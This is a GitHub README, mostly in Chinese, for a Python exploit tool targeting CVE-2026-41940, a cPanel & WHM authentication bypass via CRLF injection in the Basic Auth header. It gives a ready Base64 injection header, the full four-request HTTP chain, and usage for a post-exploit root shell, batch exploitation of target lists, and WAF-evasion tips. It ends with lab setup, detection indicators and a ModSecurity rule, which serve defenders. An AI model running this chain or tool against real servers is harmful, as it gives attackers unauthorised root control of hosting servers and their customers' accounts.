Botan-linux/cve202641940
GitHub: Botan-linux/cve202641940
针对 CVE-2026-41940 漏洞的教育性利用工具,演示了如何通过 CRLF 注入绕过 cPanel & WHM 的身份验证获取 root 权限。
Stars: 0 | Forks: 0
# CVE-2026-41940 — cPanel & WHM 身份验证绕过漏洞利用
## 📑 目录
- [⚠️ 免责声明](#️-disclaimer)
- [📋 漏洞概述](#-zafiyet-özeti)
- [🔧 技术细节](#-teknik-detaylar)
- [漏洞机制](#zafiyet-mekanizması)
- [漏洞利用链 (4个步骤)](#exploit-zinciri-4-adım)
- [注入的 Session 变量](#enjekte-edilen-session-değişkenleri)
- [HTTP 请求流程](#http-i̇stek-akışı)
- [🛡️ 已修补版本](#️-yamalanmış-sürümler)
- [🚀 安装](#-kurulum)
- [📖 使用指南](#-kullanım-rehberi)
- [所有参数](#tüm-parametreler)
- [基本用法](#temel-kullanım)
- [发现模式 (--scan)](#keşif-modu---scan)
- [Shell 模式 (--shell)](#shell-modu---shell)
- [单命令模式 (--cmd)](#tek-komut-modu---cmd)
- [批量模式 (--targets)](#batch-modu---targets)
- [代理使用 (Burp Suite)](#proxy-kullanımı-burp-suite)
- [JSON 输出与日志记录](#json-çıktı-ve-loglama)
- [🧪 实验室环境测试](#-lab-ortamında-test)
- [使用 VPS 搭建 cPanel 实验室](#vps-ile-cpanel-lab-kurulumu)
- [使用 Docker 搭建实验室 (替代方案)](#docker-ile-lab-alternatif)
- [逐步测试场景](#adım-adım-test-senaryosu)
- [示例输出](#örnek-çıktılar)
- [🔍 Shell 命令参考](#-shell-komutları-referansı)
- [🚨 故障排除指南](#-hata-ayıklama-rehberi)
- [🛡️ 检测与预防](#️-tespit-ve-önleme)
- [📁 文件结构](#-dosya-yapısı)
- [📚 参考资料](#-kaynaklar)
- [📄 许可证](#-lisans)
- [🤝 负责任的披露](#-sorumlu-açıklama)
## ⚠️ 免责声明
```
╔══════════════════════════════════════════════════════════════════╗
║ BU ARAÇ SADECE YETKİLİ PENETRASYON TESTİ VE GÜVENLİK ║
║ ARAŞTIRMASI İÇİN SAĞLANMAKTADIR. Sahibi olmadığınız veya ║
║ açık yazılı izin almadığınız sistemlere karşı yetkisiz ║
║ kullanım YASALDIR. Yazar, bu aracın herhangi bir kötüye ║
║ kullanımından veya neden olduğu hasarlardan sorumlu tutulamaz. ║
║ ║
║ Her zaman test öncesi uygun yetkiyi alın. ║
╚══════════════════════════════════════════════════════════════════╝
```
## 📋 漏洞概述
| 字段 | 详情 |
|------|-------|
| **CVE ID** | CVE-2026-41940 |
| **描述** | cPanel & WHM 登录流程中的身份验证绕过漏洞 |
| **影响** | 未经身份验证的远程攻击者可以获得 root 级别的访问权限 |
| **CVSS v3.1** | **9.8 CRITICAL** — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CVSS v4.0** | **9.3 CRITICAL** — `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` |
| **CWE** | CWE-306 — 关键功能缺失认证 |
| **受影响范围** | cPanel & WHM 11.40 之后的所有受支持版本 |
| **披露日期** | 2026年4月28日 |
| **活跃利用** | ✅ 是 — 作为零日漏洞在野外被积极利用 |
| **软件普及率** | cPanel 控制了约 94% 的共享主机市场 |
## 🔧 技术细节
### 漏洞机制
该漏洞存在于 cPanel/WHM 的 `cpsrvd` daemon 身份验证流程中。根本原因是 `cpsrvd` 未能正确过滤 HTTP Basic Auth 标头中的 CRLF (Carriage Return Line Feed — `\r\n`) 字符。这一缺陷允许攻击者向 session 的 raw 文件中注入键值对。
cPanel 的 session 管理分为两层运行:
1. **Raw 文件** (`/var/cpanel/sessions/raw/`): session 数据在磁盘上的原始形态
2. **In-memory cache**: `cpsrvd` 在运行时使用的缓存
通常,写入 raw 文件的数据不会自动加载到缓存中。但是,当触发 `do_token_denied` 代码路径时,`Modify::new` 会读取 raw 文件,并通过 `Modify::save` 更新缓存。这种“缓存提升”行为使得攻击者注入的值能够反映到活跃的 session 中。
### 漏洞利用链 (4个步骤)
```
┌─────────────────────────────────────────────────────────────────┐
│ EXPLOIT ZİNCİRİ AKIŞI │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ADIM 1: Pre-Auth Session Oluşturma │
│ ┌──────────┐ POST /login/?login_only=1 ┌──────────┐ │
│ │ Attacker │ ──────────────────────────────── │ cpsrvd │ │
│ └──────────┘ user=root&pass=wrong123 └──────────┘ │
│ │ │ │
│ │ Set-Cookie: whostmgrsession=:SID,ob_HEX │
│ ◄────────────────────────┘ │
│ │
│ ADIM 2: CRLF Injection via Basic Auth │
│ ┌──────────┐ GET / ┌──────────┐ │
│ │ Attacker │ ──────────────────────────────── │ cpsrvd │ │
│ └──────────┘ Cookie: SID └──────────┘ │
│ │ Authorization: Basic base64( │
│ │ "root:x\r\n │
│ │ hasroot=1\r\n │
│ │ user=root\r\n │
│ │ successful_internal_auth_...") │
│ │ │ │
│ │ Raw dosyaya CRLF ile │
│ │ yeni satırlar enjekte edilir │
│ ◄────────────────────────┘ │
│ │
│ ADIM 3: Token Denied Tetikleme (Cache Promotion) │
│ ┌──────────┐ GET /json-api/version ┌──────────┐ │
│ │ Attacker │ ──────────────────────────────── │ cpsrvd │ │
│ └──────────┘ Cookie: SID (yanlış token) └──────────┘ │
│ │ │ │
│ │ do_token_denied tetiklenir │
│ │ Modify::new → raw dosyayı okur │
│ │ Modify::save → cache'i günceller │
│ ◄────────────────────────┘ │
│ │
│ ADIM 4: Auth Bypass Doğrulama │
│ ┌──────────┐ GET /cpsessXXX/json-api/vers. ┌──────────┐ │
│ │ Attacker │ ──────────────────────────────── │ cpsrvd │ │
│ └──────────┘ Cookie: SID └──────────┘ │
│ │ │ │
│ │ Cache'de: hasroot=1 ✓ │
│ │ successful_internal_auth_with_timestamp ✓ │
│ │ → AUTH_OK döner! │
│ ◄────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘
```
**详细说明:**
**第 1 步 — Pre-Auth Session:** 攻击者故意使用错误密码向 `/login/?login_only=1` endpoint 发送 POST 请求。为了记录失败的登录尝试,cpsrvd 会创建一个 session,并通过 `Set-Cookie` 标头返回一个 `whostmgrsession` (用于 WHM) 或 `cpsession` (用于 cPanel) cookie。该 cookie 的格式为 `:SESSION_ID,ob_ENCRYPTION_KEY_HEX`。`ob` 值是用于加密 session 数据的加密密钥。
**第 2 步 — CRLF 注入:** 攻击者使用获取到的 session cookie 向服务器发送 GET 请求。此请求的 `Authorization: Basic` 标头包含 Base64 编码的 `root:x\r\nhasroot=1\r\nuser=root\r\n...` 值。当 cpsrvd 解码 Basic Auth 标头时,未对 CRLF 字符进行清理,直接将其写入了 session 的 raw 文件。结果,raw 文件中的每个 `\r\n` 被解释为一个新行,像 `hasroot=1` 这样的值就作为独立的 session 变量被注入进去。
**第 3 步 — 缓存提升:** 写入 raw 文件的注入内容不会直接反映到缓存中。攻击者使用错误的 `cp_security_token` 访问受保护的 endpoint,从而触发 `do_token_denied` 错误路径。此代码路径通过 `Modify::new` 函数重新读取 raw 文件,并通过 `Modify::save` 更新内存缓存。此操作使得注入的值被提升到活跃的 session 缓存中。
**第 4 步 — 身份验证绕过:** 此时缓存中已包含 `hasroot=1`、`user=root` 和有效的 `successful_internal_auth_with_timestamp`。cpsrvd 在随后的请求中将此 session 视为已认证,并返回 `AUTH_OK`。密码检查被完全绕过。
### 注入的 Session 变量
| 变量 | 值 | 目的 |
|----------|-------|------|
| `hasroot` | `1` | 授予 root 级别权限 |
| `tfa_verified` | `1` | 绕过双因素身份验证 (2FA) |
| `user` | `root` | 将已认证用户设置为 root |
| `cp_security_token` | `/cpsessXXXXXXXXXX` | 提供 URL 重定向的有效安全 token |
| `successful_internal_auth_with_timestamp` | `
` | 将 session 标记为已成功验证 (使用未来的 Unix 时间戳) |
### HTTP 请求流程
**请求 1 — Pre-Auth Session:**
```
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrongpassword123
--- Response ---
HTTP/1.1 401 Unauthorized
Set-Cookie: whostmgrsession=%3Aabc123%2Cob_def456; path=/
```
**请求 2 — CRLF 注入:**
```
GET / HTTP/1.1
Host: target.com:2087
Cookie: whostmgrsession=%3Aabc123%2Cob_def456
Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3MxMjM0NTY3ODkwDQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzcyMTYwMA==
--- Response ---
HTTP/1.1 307 Temporary Redirect
Location: /cpsess1234567890/
```
**请求 3 — 触发 Token Denied:**
```
GET /json-api/version HTTP/1.1
Host: target.com:2087
Cookie: whostmgrsession=%3Aabc123%2Cob_def456
--- Response ---
HTTP/1.1 401 Unauthorized
Content: Token Denied
```
**请求 4 — 身份验证绕过验证:**
```
GET /cpsess1234567890/json-api/version HTTP/1.1
Host: target.com:2087
Cookie: whostmgrsession=%3Aabc123%2Cob_def456
--- Response ---
HTTP/1.1 200 OK
Content-Type: application/json
{"version":"11.126.0.53"}
```
## 🛡️ 已修补版本
| 版本线 | 已修补版本 | 之前受影响的版本 |
|---------------|------------------|---------------------------|
| 11.110 | **11.110.0.97** | 11.110.0.0 — 11.110.0.96 |
| 11.118 | **11.118.0.63** | 11.118.0.0 — 11.118.0.62 |
| 11.126 | **11.126.0.54** | 11.126.0.0 — 11.126.0.53 |
| 11.132 | **11.132.0.29** | 11.132.0.0 — 11.132.0.28 |
| 11.134 | **11.134.0.20** | 11.134.0.0 — 11.134.0.19 |
| 11.136 | **11.136.0.5** | 11.136.0.0 — 11.136.0.4 |
## 🚀 安装
### 系统要求
- Python 3.8 或更高版本
- `requests` 库
- `urllib3` 库
### 安装步骤
```
# 克隆 Repository
git clone https://github.com//CVE-2026-41940.git
cd CVE-2026-41940
# 安装依赖项
pip install requests urllib3
# 使其可执行
chmod +x cve202641940.py
# 显示帮助信息
python3 cve202641940.py --help
```
## 📖 使用指南
### 所有参数
```
python3 cve202641940.py [SEÇENEKLER]
Hedef Seçimi (zorunlu, bir tanesi):
--target TARGET Tek hedef URL (örn: https://target:2087)
--targets TARGETS Hedef listesi dosyası (her satıra bir URL)
Mod Seçimi:
--shell Exploit sonrası interaktif WHM/cPanel shell başlat
--cmd CMD Exploit sonrası tek WHM API komutu çalıştır
--scan Sadece keşif (versiyon tespiti, exploit atmadan)
Ağ Ayarları:
--proxy PROXY HTTP/HTTPS proxy (örn: http://127.0.0.1:8080)
--timeout TIMEOUT İstek zaman aşımı - saniye (varsayılan: 30)
--retries RETRIES Başarısız isteklerde tekrar deneme sayısı (varsayılan: 3)
--delay DELAY Tekrar denemeler arası bekleme - saniye (varsayılan: 1.0)
Çıktı Ayarları:
--output OUTPUT, -o OUTPUT Sonuçları JSON dosyasına kaydet
--quiet Sessiz mod (sadece hatalar ve sonuçlar)
--json JSON formatında çıktı ver
--log-file LOG_FILE Detaylı loglama için dosya yolu
```
### 基本用法
```
# 最简单的用法 - 对目标发起 exploit
python3 cve202641940.py --target https://192.168.1.100:2087
```
此命令按顺序运行漏洞利用链的 4 个步骤:
1. ✅ 创建 Pre-auth session
2. ✅ 注入 CRLF payload
3. ✅ 触发 token denied (缓存提升)
4. ✅ 验证身份验证绕过
如果成功,将显示 session cookie 和安全 token 信息。
### 发现模式 (--scan)
```
# 仅发现 - 不发起 EXPLOIT,进行版本检测
python3 cve202641940.py --target https://192.168.1.100:2087 --scan
```
此模式在**不进行任何漏洞利用尝试**的情况下收集以下信息:
- 检测目标运行的是 WHM (端口 2087) 还是 cPanel (端口 2083)
- 确定 cPanel/WHM 版本号
- 报告该版本是已修补还是存在漏洞
**示例输出:**
```
[*] Reconnaissance: Detecting target type...
[+] WHM detected on port 2087
[*] Fingerprinting cPanel version...
[+] Version from header: 11.126.0.53
[!] Version 11.126.0.53 appears VULNERABLE!
--- Scan Results ---
Target: https://192.168.1.100:2087
Type: WHM
Version: 11.126.0.53
Status: VULNERABLE
Patched version: 11.126.0.54
```
### Shell 模式 (--shell)
```
# Exploit + 交互式 root shell
python3 cve202641940.py --target https://192.168.1.100:2087 --shell
```
漏洞利用成功后,将打开一个交互式 shell:
```
[✓] CVE-2026-41940 EXPLOIT SUCCESSFUL!
[+] Session Cookie: whostmgrsession=%3Aabc123%2Cob_def456
[+] Security Token: /cpsess1234567890
[+] Base URL: https://192.168.1.100:2087/cpsess1234567890
--- WHM Root Shell ---
Available commands:
WHM API: version, listaccts, accountsummary, restartservice_mysql, ...
Utility: help, exit
root@whm$ version
Status: 200
{
"version": "11.126.0.53"
}
root@whm$ listaccts
Status: 200
{
"acct": [
{
"user": "client1",
"domain": "example.com",
"plan": "basic",
...
}
]
}
root@whm$ exit
[!] Exiting shell...
```
### 单命令模式 (--cmd)
```
# Exploit + 运行单个 API 命令
python3 cve202641940.py --target https://192.168.1.100:2087 --cmd "listaccts"
python3 cve202641940.py --target https://192.168.1.100:2087 --cmd "version"
python3 cve202641940.py --target https://192.168.1.100:2087 --cmd "servicestatus"
```
无需打开 shell,直接获取单个 WHM API 命令的输出。适用于自动化和脚本编写。
### 批量模式 (--targets)
```
# 创建目标列表文件
cat > targets.txt << 'EOF'
# 注释行以 # 开头
# WHM 目标
https://192.168.1.100:2087
https://192.168.1.101:2087
# cPanel 目标
https://10.0.0.50:2083
https://10.0.0.51:2083
EOF
# 批量 exploit
python3 cve202641940.py --targets targets.txt --output batch_results.json
# 批量发现
python3 cve202641940.py --targets targets.txt --scan --output scan_results.json
```
**示例输出:**
```
[*] Loaded 4 targets from targets.txt
--- Target 1/4: https://192.168.1.100:2087 ---
[✓] EXPLOIT SUCCESSFUL!
--- Target 2/4: https://192.168.1.101:2087 ---
[-] Auth bypass could NOT be verified. Target may be patched.
--- Target 3/4: https://10.0.0.50:2083 ---
[✓] EXPLOIT SUCCESSFUL!
--- Target 4/4: https://10.0.0.51:2083 ---
[-] Connection refused
--- Batch Results Summary ---
Total targets: 4
Successful: 2
Failed: 2
[*] Results saved to batch_results.json
```
### 代理使用 (Burp Suite)
```
# 使用 Burp Suite 监控流量
python3 cve202641940.py \
--target https://192.168.1.100:2087 \
--proxy http://127.0.0.1:8080 \
--shell
```
**为什么应该使用代理?**
- 可以查看 CRLF payload 在 HTTP 标头中的外观
- 可以逐步跟踪 session cookie 的变化
- 可以检查 307 重定向和 token denied 的响应
- 可以观察 WAF 规则是否拦截了 payload
- 这是学习漏洞机制的最佳方法
**Burp Suite 设置:**
1. 打开 Burp Suite → Proxy → Intercept → Intercept is on
2. 使用 `--proxy http://127.0.0.1:8080` 运行 Python 脚本
3. 逐步检查每个请求
### JSON 输出与日志记录
```
# 以 JSON 格式保存结果(用于 CI/CD 和自动化)
python3 cve202641940.py \
--target https://192.168.1.100:2087 \
--json \
--output results.json
# 静默模式 + JSON(仅最终结果)
python3 cve202641940.py \
--target https://192.168.1.100:2087 \
--quiet \
--json \
--cmd "version"
# 详细日志文件(用于分析和报告)
python3 cve202641940.py \
--target https://192.168.1.100:2087 \
--log-file exploit_20260430.log \
--shell
```
**results.json 示例:**
```
{
"success": true,
"target": "https://192.168.1.100:2087",
"version": "11.126.0.53",
"is_vulnerable": true,
"base_url": "https://192.168.1.100:2087/cpsess1234567890",
"session_cookie": "whostmgrsession=%3Aabc123%2Cob_def456",
"security_token": "/cpsess1234567890"
}
```
## 🧪 实验室环境测试
### 使用 VPS 搭建 cPanel 实验室
#### 第 1 步:购买 VPS
| 供应商 | 最低配置方案 | 价格 |
|-----------|-------------|-------|
| DigitalOcean | 2GB RAM / 1 CPU | 约 $12/月 |
| Hetzner | CX21 (4GB RAM) | 约 €5/月 |
| Vultr | 2GB RAM / 1 CPU | 约 $12/月 |
| AWS Lightsail | 2GB RAM | 约 $10/月 |
**操作系统:** AlmaLinux 9 或 Ubuntu 22.04 LTS (cPanel 支持)
#### 第 2 步:安装 cPanel
```
# 连接到 VPS
ssh root@VPS_IP
# 更新系统
dnf update -y # AlmaLinux
# 或
apt update && apt upgrade -y # Ubuntu
# cPanel 安装
curl -o latest https://securedownloads.cpanel.net/latest
sh latest
# 安装可能需要 20-40 分钟
# 安装完成后访问 WHM:
# https://VPS_IP:2087
```
#### 第 3 步:锁定至存在漏洞的版本
```
# 重要:关闭自动 update(否则会被立即 patch!)
whmapi1 set_tweaksetting?key=autoupdate&value=never
# 编辑 Update 配置
cat > /etc/cpupdate.conf << 'EOF'
CPANEL=11.126.0.53
RPMUP=daily
SARULESUP=daily
STAGING_DIR=/usr/local/cpanel
UPDATES=never
EOF
# 重启 cPanel
systemctl restart cpsrvd
# 版本检查
whmapi1 version
```
#### 第 4 步:安全预防措施 (将实验室与外部隔离)
```
# 仅允许从你自己的 IP 访问
iptables -A INPUT -p tcp --dport 2087 -s SENIN_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP
iptables -A INPUT -p tcp --dport 2083 -s SENIN_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2083 -j DROP
# 保存规则
iptables-save > /etc/iptables/rules.v4 # Ubuntu
# 或
service iptables save # AlmaLinux
```
### 使用 Docker 搭建实验室 (替代方案)
```
# 没有 cPanel Docker image,但用于类似环境:
# 警告:cPanel 在 Docker 中可能无法完全运行,首选 VPS
# 替代方案:如果存在 Vulnerable 的 cPanel 镜像
docker run -d \
--name cpanel-lab \
-p 2087:2087 \
-p 2083:2083 \
cpanel-vulnerable:11.126.0.53
```
### 逐步测试场景
```
# ═══════════════════════════════════════════
# 步骤 1:发现 — 了解目标
# ═══════════════════════════════════════════
python3 cve202641940.py --target https://LAB_IP:2087 --scan
# 输出:
# [+] 检测到端口 2087 上的 WHM
# [+] 版本:11.126.0.53
# [!] VULNERABLE!
# ═══════════════════════════════════════════
# 步骤 2:使用 Burp Suite 调试
# ═══════════════════════════════════════════
python3 cve202641940.py \
--target https://LAB_IP:2087 \
--proxy http://127.0.0.1:8080 \
--log-file debug.log
# 在 Burp 中检查每个请求:
# - 请求 1:POST /login -> Set-Cookie 响应
# - 请求 2:GET / + Authorization header -> CRLF payload
# - 请求 3:GET /json-api/version -> Token Denied
# - 请求 4:GET /cpsessXXX/json-api/version -> 200 OK
# ═══════════════════════════════════════════
# 步骤 3:获取 Shell
# ═══════════════════════════════════════════
python3 cve202641940.py \
--target https://LAB_IP:2087 \
--shell
# Shell 内:
root@whm$ version # Sürümü doğrula
root@whm$ listaccts # Hesapları listele
root@whm$ servicestatus # Servis durumları
root@whm$ accountsummary # Hesap özeti
root@whm$ systemloadavg # Sistem yükü
# ═══════════════════════════════════════════
# 步骤 4:生成报告
# ═══════════════════════════════════════════
python3 cve202641940.py \
--target https://LAB_IP:2087 \
--cmd "version" \
--json \
--output pentest_result.json \
--log-file pentest_$(date +%Y%m%d_%H%M%S).log
# ═══════════════════════════════════════════
# 步骤 5:清理 Lab
# ═══════════════════════════════════════════
# 修补 cPanel
/usr/local/cpanel/scripts/upcp --force
# 或者删除 VPS(DigitalOcean/Hetzner 面板)
```
### 示例输出
**漏洞利用成功:**
```
██████╗██╗ ██╗██████╗ ███████╗ ██████╗
██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔═══██╗
██║ ╚████╔╝ ██████╔╝█████╗ ██║ ██║
██║ ╚██╔╝ ██╔══██╗██╔══╝ ██║ ██║
╚██████╗ ██║ ██████╔╝███████╗╚██████╔╝
╚═════╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
[*] CVE-2026-41940 - cPanel & WHM Authentication Bypass via CRLF Session Injection
[*] CVSS 3.1: 9.8 | CVSS 4.0: 9.3 | CWE-306
[!] For authorized penetration testing & security research ONLY!
[+] Target: https://192.168.1.100:2087
[+] Retries: 3 | Delay: 1.0s
[*] Reconnaissance: Detecting target type...
[+] WHM detected on port 2087
[*] Fingerprinting cPanel version...
[+] Version from header: 11.126.0.53
[!] Version 11.126.0.53 appears VULNERABLE!
[*] Step 1/4: Creating pre-authentication session...
[+] Session cookie name: whostmgrsession
[+] Session ID: abc123def456
[*] Ob (encryption key): 789ghi012
[*] Step 2/4: Injecting CRLF payload via Basic Auth...
[+] cpsrvd token extracted from redirect: /cpsess1234567890
[+] CRLF injection successful (307 redirect: /cpsess1234567890/)
[*] Step 3/4: Triggering token denied for cache promotion...
[+] Token denied triggered via: /json-api/version
[*] Step 4/4: Verifying authentication bypass...
[✓] AUTH BYPASS VERIFIED! Root access obtained.
[✓] CVE-2026-41940 EXPLOIT SUCCESSFUL!
[+] Session Cookie: whostmgrsession=%3Aabc123def456%2Cob_789ghi012
[+] Security Token: /cpsess1234567890
[+] Base URL: https://192.168.1.100:2087/cpsess1234567890
```
**目标已修补:**
```
[*] Step 1/4: Creating pre-authentication session...
[+] Session ID: abc123def456
[*] Step 2/4: Injecting CRLF payload via Basic Auth...
[*] Injection response status: 401
[!] Received 401 after injection - injection may still be on disk.
[*] Step 3/4: Triggering token denied for cache promotion...
[+] Token denied triggered via: /json-api/version
[*] Step 4/4: Verifying authentication bypass...
[-] Authentication bypass could NOT be verified.
The target may be patched or the exploit conditions were not met.
```
## 🔍 Shell 命令参考
### WHM API 命令
| 命令 | WHM API Endpoint | 说明 |
|-------|-------------------|----------|
| `version` | `version` | 显示 cPanel/WHM 版本 |
| `listaccts` | `listaccts` | 列出所有 cPanel 账户 |
| `accountsummary` | `accountsummary` | 获取账户摘要 |
| `servicestatus` | `servicestatus` | 检查服务状态 |
| `systemloadavg` | `systemloadavg` | 显示系统平均负载 |
| `bandwidth` | `bandwidth` | 显示带宽使用情况 |
| `restartservice_httpd` | `restartservice` | 重启 Apache |
| `restartservice_mysql` | `restartservice` | 重启 MySQL |
| `restartservice_dovecot` | `restartservice` | 重启 Dovecot |
| `whmapi1 ` | `` | 运行任何 WHM API1 命令 |
### cPanel API 命令
| 命令 | 模块/函数 | 说明 |
|-------|-----------------|----------|
| `stats` | StatsBar/getstatdisplay | 显示账户统计信息 |
| `domains` | DomainLookup/getmaindomains | 列出主域名 |
| `uapi ` | UAPI 运行任何 UAPI 命令 |
### 常规命令
| 命令 | 说明 |
|-------|----------|
| `help` | 显示可用命令 |
| `exit` | 退出 shell |
## 🚨 故障排除指南
### 常见错误与解决方案
| 错误信息 | 原因 | 解决方案 |
|-------------|-------|-------|
| `SSL error` | 证书验证失败 | 代码中已包含 `verify=False`。如果使用代理,请添加 Burp 的证书 |
| `Connection refused` | 端口关闭或目标不存在 | 使用 `nmap -p 2083,2087 TARGET` 检查端口 |
| `Connection timed out` | 网络问题或防火墙拦截 | 使用 `--timeout 60` 增加超时时间 |
| `403 Forbidden` | WAF 或速率限制 | 使用 `--delay 3` 放慢请求速度或更换 IP |
| `No Set-Cookie header found` | 登录 endpoint 不同 | 使用 `--proxy` 在 Burp 中检查流量 |
| `Could not parse session cookie` | cookie 格式不同 | 使用 `--log-file` 获取详细日志并检查 cookie 结构 |
| `Ob value not found` | cookie 中没有加密密钥 | 某些版本没有 ob,但漏洞利用仍可能有效 |
| `Received 403 - target may have WAF` | WAF 正在阻止 CRLF payload | 尝试不同的编码或绕过 WAF |
| `Auth bypass could NOT be verified` | 版本已修补或 token 错误 | 使用 `--scan` 检查版本,使用 `--log-file` 查看详细信息 |
### 详细调试步骤
```
# 1. 验证目标是可访问的
curl -k https://HEDEF:2087/ -v
# 2. 使用 Burp Suite 进行手动 exploit
# - POST /login/?login_only=1(使用错误密码)
# - 复制 Set-Cookie header
# - 使用 GET / + Cookie + Authorization: Basic 发送 CRLF payload
# - 检查 Redirect/401 响应
# 3. 详细记录 Exploit 工具的日志
python3 cve202641940.py \
--target https://HEDEF:2087 \
--log-file /tmp/debug.log \
--proxy http://127.0.0.1:8080
# 4. 检查日志文件
cat /tmp/debug.log | python3 -m json.tool
```
## 🛡️ 检测与预防
### 漏洞利用检测指标
**1. 网络指标:**
- 使用错误凭据连续向 `/login/?login_only=1` endpoint 发送请求
- `Authorization: Basic` 标头中包含 CRLF 字符的请求
- 短时间内出现 401 → 200 响应的转换 (在同一 session 中)
**2. 日志指标:**
```
# cPanel 访问日志
/var/log/cpanel-access.log
- Aranacak: Authorization header'da %0D%0A veya \r\n
- Aranacak: Aynı session ID ile 401 sonrası 200
# cPanel 错误日志
/var/log/cpanel-error.log
- Aranacak: "Token Denied" mesajları
- Aranacak: Session raw dosya yazma hataları
```
**3. 文件指标:**
```
# 搜索被注入的 session 文件
grep -r "hasroot=1" /var/cpanel/sessions/raw/
grep -r "successful_internal_auth_with_timestamp" /var/cpanel/sessions/raw/
# 检测异常 session 文件
find /var/cpanel/sessions/raw/ -mmin -60 -ls
```
**4. cPanel 官方检测脚本:**
cPanel 在其安全公告中提供了一个检测脚本:
```
# 运行 cPanel 官方检测 script
https://support.cpanel.net/hc/en-us/articles/40073787579671
```
### 预防步骤
| 优先级 | 行动 | 详情 |
|---------|---------|-------|
| 🔴 **严重** | 修补 cPanel | 更新到上述已修补版本 |
| 🟠 **高** | 限制端口访问 | 仅将 2083/2087 端口开放给可信 IP |
| 🟡 **中** | 添加 WAF 规则 | 阻止 HTTP 标头中的 CRLF 注入 |
| 🟢 **低** | 监控和告警 | session 异常检测和日志监控 |
**WAF 规则示例 (ModSecurity):**
```
SecRule REQUEST_HEADERS:Authorization "@rx [\r\n]" \
"id:1001,phase:1,deny,status:403,msg:'CRLF injection in Authorization header detected'"
```
## 📁 文件结构
```
CVE-2026-41940/
├── cve202641940.py # Ana exploit scripti
├── README.md # Bu dosya - detaylı dokümantasyon
├── targets.txt # Batch modu için örnek hedef listesi
└── LICENSE # MIT Lisansı
```
## 📚 参考资料
| 资源 | 链接 |
|--------|----------|
| NVD - CVE-2026-41940 | https://nvd.nist.gov/vuln/detail/CVE-2026-41940 |
| cPanel 安全公告 | https://support.cpanel.net/hc/en-us/articles/40073787579671 |
| watchTowr Labs 分析 | https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940 |
| Rapid7 ETR | https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass |
| watchTowr PoC (GitHub) | https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py |
| BleepingComputer 新闻 | https://www.bleepingcomputer.com/news/security/critical-cpanel-and-whm-bug-exploited-as-a-zero-day-poc-now-available |
| The Hacker News 新闻 | https://thehackernews.com/2026/04/critical-cpanel-authentication.html |
| VulnCheck 公告 | https://www.vulncheck.com/advisories/cpanel-and-whm-authentication-bypass-via-login-flow |
| SOC Prime 分析 | https://socprime.com/blog/cve-2026-41940-critical-cpanel-whm-authentication-bypass-exposes-hosting-servers-to-admin-takeover |
| Hadrian 分析 | https://hadrian.io/blog/cve-2026-41940-a-critical-authentication-bypass-in-cpanel |
## 📄 许可证
本项目基于 MIT 许可证授权。详情请参阅 [LICENSE](LICENSE) 文件。
## 🤝 负责任的披露
此漏洞利用程序基于公开信息。该漏洞的披露过程如下:
1. **发现:** 由 cPanel 发现 (可能来自外部报告)
2. **披露:** cPanel 于 2026 年 4 月 28 日发布了安全公告
3. **活跃利用:** 在公开披露之前,已在野外作为零日漏洞被利用
4. **补丁:** 为所有受支持的 cPanel/WHM 版本发布了补丁
如果您发现了新的漏洞,请在公开发布前直接与供应商联系,并遵循负责任的披露原则。
⚠️ 此工具仅用于授权的渗透测试和安全研究。
标签:0day, CISA项目, cPanel, CVE, CVE-2026-41940, CVSS 9.8, CWE-306, Exploit, OPA, PoC, Python, RCE, Web安全, WHM, 交互式Shell, 数字签名, 数据展示, 无后门, 无服务器架构, 暴力破解, 漏洞修复, 漏洞复现, 红队, 编程工具, 缺失身份验证, 网络安全, 网络安全培训, 蓝队分析, 认证绕过, 身份验证绕过, 远程代码执行, 隐私保护, 靶场, 高危漏洞